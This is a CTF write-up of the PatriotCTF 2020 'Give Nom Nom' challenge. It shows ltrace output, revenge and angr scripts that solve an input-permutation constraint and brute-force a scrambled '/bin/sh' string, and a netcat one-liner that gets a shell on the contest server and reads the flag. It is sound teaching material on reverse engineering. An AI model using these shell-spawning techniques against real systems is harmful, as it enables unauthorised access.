PatriotCTF 2020 - Give Nom Nom
This challenge was posted late in the contest, and I had some other things I
had to take care of at the time. So in usual form, I threw angr at it
and, eventually, got a solve. The first part is solving a constraint system
where your input ends up getting permuted and then checked against some
constraints. The second part is where you get to run a command is fed into
system
, of course after it has been run through the permutation as well.
Triage
As usual, let’s give it a run.
$ ./pwn_constraint
Giv nom nom. I lik good nom nom
flag
BAD NOM NOM
strings shows a base64 encoded blob
lFtkesoc2AuJ91Xp8s3g6x10SgnwaArVWcogixFRGgrnS1GBDvL9kxr7LAhjVd05LR1qnakKtxjxRT2TFI2hTCqw90yfP2O==
.
ltrace with the input of test
shows a ton of strlen
calls.
<clipped>
[pid 10029] [0x55710c875390] strlen("tste") = 4
[pid 10029] [0x55710c8753c4] strlen("sste") = 4
[pid 10029] [0x55710c87532f] strlen("stte") = 4
[pid 10029] [0x55710c875362] strlen("stte") = 4
[pid 10029] [0x55710c875390] strlen("stte") = 4
[pid 10029] [0x55710c8753c4] strlen("stte") = 4
[pid 10029] [0x55710c87532f] strlen("stte") = 4
[pid 10029] [0x55710c875362] strlen("stte") = 4
[pid 10029] [0x55710c875390] strlen("stte") = 4
[pid 10029] [0x55710c8753c4] strlen("stte") = 4
[pid 10029] [0x55710c87532f] strlen("stte") = 4
[pid 10029] [0x55710c875362] strlen("stte") = 4
[pid 10029] [0x55710c875390] strlen("stte") = 4
[pid 10029] [0x55710c8753c4] strlen("stee") = 4
[pid 10029] [0x55710c87532f] strlen("stet") = 4
[pid 10029] [0x55710c875362] strlen("stet") = 4
[pid 10029] [0x55710c875390] strlen("stet") = 4
[pid 10029] [0x55710c8753c4] strlen("ttet") = 4
[pid 10029] [0x55710c87532f] strlen("tset") = 4
[pid 10029] [0x55710c875362] strlen("tset") = 4
[pid 10029] [0x55710c875390] strlen("tset") = 4
[pid 10029] [0x55710c8753c4] strlen("tsst") = 4
[pid 10029] [0x55710c87532f] strlen("test") = 4
[pid 10029] [0x55710c875362] strlen("test") = 4
[pid 10029] [0x55710c875390] strlen("test") = 4
<clipped>
To be honest, I didn’t reverse this manually too much. Looking at the control flow and instructions, it seemed reasonable that angr would be able to solve this. I discovered two sections, which I solved concurrently with two different methods.
Constraint Check
Before you can do anything else, this binary is asking for your input, running some permutations on it, and then checking it against what it expects as output.
We can see the permutation by running some example data through it using revenge:
from revenge import Process, common, types
p = Process("./pwn_constraint")
# Grab the function you want to call
func = p.memory["pwn_constraint:0x12cf"]
# Create a string in memory so we can read it back after it's permuted
mem = p.memory.alloc_string(types.StringUTF8("ABCDEFG"))
# Run the string
func(mem.address)
# 70
# Read what it got permuted into
mem.string_utf8
# 'CEGAFBD'
You can play around with different inputs, but it seems to just scramble them.
The reasonable thing to do here would be to see if you can map out the input to
the output, since it’s going to be deterministic. However, I just decided to
throw angr
at it instead.
My angr
solve script is as follows:
import angr, claripy
proj = angr.Project("pwn_constraint")
base = 0x400000
# Avoid anything that goes to Bad nom nom
avoid = [base+0x14E9, base+0x154D]
# Find my way PAST the first check, to the point where it prompts for input
# again
find = base+0x158B
# 96 based on the strlen check at the beginning
flag = claripy.BVS('flag', 8*96)
# Null terminate my flag
stdin = angr.SimFile('stdin', claripy.Concat(flag, 0))
state = proj.factory.entry_state(stdin=stdin, add_options=angr.options.unicorn)
# THIS IS IMPORTANT! See notes below for why.
state.libc.buf_symbolic_bytes = 128
# Tell angr that my flag should have no nulls and no newlines
for i in range(96):
state.add_constraints(flag.get_byte(i) != 0, flag.get_byte(i) != 10)
simgr = proj.factory.simgr(state)
# go find it!
simgr.explore(find=find, avoid=avoid)
The key to this working is the step state.libc.buf_symbolic_bytes = 128
. This
is because angr
needs to set some reasonable defaults for how big things can
be. They do this to trade performance and completeness. In this case, however,
their default was too small. When you run the above script without that line,
you get unsat
. As of writing, the default size for buf_symbolic_bytes
is
60.
After kicking off angr
, I decided to revenge
to brute force a smaller
search space to find /bin/sh
, which I would use once I got past the first
constraint.
System Constraint
Assuming that I would eventually get past the first constraint check, I needed
to have something to give to system
that would allow me to get the flag.
Since I wasn’t actually reversing the permutation, I decided to just brute
force something small, such as /bin/sh
.
To brute force this, I used revenge, as follows:
#!/usr/bin/env python
from revenge import Process, common, types
import itertools
# This function simply runs the permutation function against some given input
# and returns the output
def try_permute(inp, mem):
mem.string_utf8 = inp
do_permute(mem)
return mem.string_utf8
p = Process("./pwn_constraint")
do_permute = p.memory['pwn_constraint:0x12CF']
# Just allocate a block of memory to mess with
mem = p.memory.alloc(128)
target = "/bin/sh"
# Brute force the answer by trying all permutations
for perm in itertools.permutations(target):
x = "".join(perm)
if try_permute(x, mem) == target:
print("Winner: " + x)
break
# ns/hb/i
The script took a few minutes to run and find that ns/hb/i
would get me what
I wanted.
Final
The angr
script probably took an hour or so to complete. It also found a
solution that worked but was likely not the intended solution given that most
of it was not ascii printable.
Non ascii wasn’t really an issue since it did validate, so I wrote that answer
to disk and used cat
and piping to communicate with the binary:
(cat win.bin; echo ns/hb/i; cat -) | nc chal.pctf.competitivecyber.club 5555
cat ./gmu/patriotCTF/pwn_constraint/flag_dir/flag.txt
pctf{f1b0N4Cc1_4nD_A_sHuffL3_n0m_n0m_n0m}
Downloads
Let me know what you think of this article on twitter @bannsec!